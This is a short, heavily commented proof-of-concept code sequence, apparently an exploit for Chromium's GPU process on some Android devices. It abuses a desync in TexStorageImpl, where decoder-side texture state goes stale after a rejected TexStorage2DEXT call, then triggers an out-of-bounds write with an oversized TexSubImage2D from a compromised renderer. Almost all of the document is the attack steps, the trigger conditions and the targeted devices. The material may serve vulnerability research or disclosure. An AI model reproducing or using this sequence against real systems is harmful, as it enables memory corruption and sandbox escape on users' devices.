// GLES2 command-buffer sequence to trigger TexStorageImpl LevelInfo desync. // // Target: Android GPU process running the validating command decoder // (kGLImplementationEGLGLES2 against the native vendor GLES driver). // Devices: SM-I610 / SM-I610H / Robin XR, or any Finch-blocklisted // brand/device/board for kDefaultPassthroughCommandDecoder. // // Threat model: compromised renderer issuing raw GLES2 command-buffer commands // (bypassing Blink WebGL client-side validation). // // Context: CreateCommandBuffer with ContextCreationAttribs.context_type = // CONTEXT_TYPE_WEBGL2. // 1. Create and bind a texture, allocate a small mutable level 0 so the // native driver has a 64x64 backing store. GenTextures(1, &tex); BindTexture(GL_TEXTURE_2D, tex); TexImage2D(GL_TEXTURE_2D, /*level=*/0, GL_RGBA8, /*width=*/64, /*height=*/64, /*border=*/0, GL_RGBA, GL_UNSIGNED_BYTE, /*pixels=*/nullptr); // 2. Issue TexStorage2DEXT with parameters the *decoder* accepts but the // *native driver* rejects. Two reliable triggers: // // (a) GL_BGRA8_EXT on a native ES3 driver advertising // GL_EXT_texture_format_BGRA8888 without GL_EXT_texture_storage — // feature_info.cc:935-937 leaves the WebGL switch cases empty so // the validator accepts GL_BGRA8_EXT, but native ES3 // glTexStorage2D(GL_BGRA8_EXT) returns GL_INVALID_ENUM. // // (b) Any width*height that fits MAX_TEXTURE_SIZE but exhausts driver // memory and returns GL_OUT_OF_MEMORY (device-specific). // // GLES2DecoderImpl::TexStorageImpl runs SetLevelInfo() + SetImmutable(true) // BEFORE calling glTexStorage2DEXTFn and never calls LOCAL_PEEK_GL_ERROR, // so the decoder now believes level 0 is W x H and immutable while the // native driver still holds the old 64x64 mutable level. TexStorage2DEXT(GL_TEXTURE_2D, /*levels=*/1, GL_BGRA8_EXT, /*width=*/W, /*height=*/H); // W,H >> 64 // 3. Issue an oversized TexSubImage2D. Texture::ValidForTexture reads the // stale decoder-side LevelInfo {W,H} and passes; texture->IsImmutable() // is true so DoTexSubImage takes the raw glTexSubImage2D branch // (texture_manager.cc:2968) instead of the redefining glTexImage2D branch. // The native driver receives glTexSubImage2D(..., W, H, ..., payload) // against a 64x64 level. On a non-bounds-checking native driver this is // an attacker-controlled OOB write inside the unsandboxed GPU process. TexSubImage2D(GL_TEXTURE_2D, /*level=*/0, /*xoffset=*/0, /*yoffset=*/0, /*width=*/W, /*height=*/H, GL_BGRA_EXT, GL_UNSIGNED_BYTE, /*pixels=*/transfer_buffer_payload);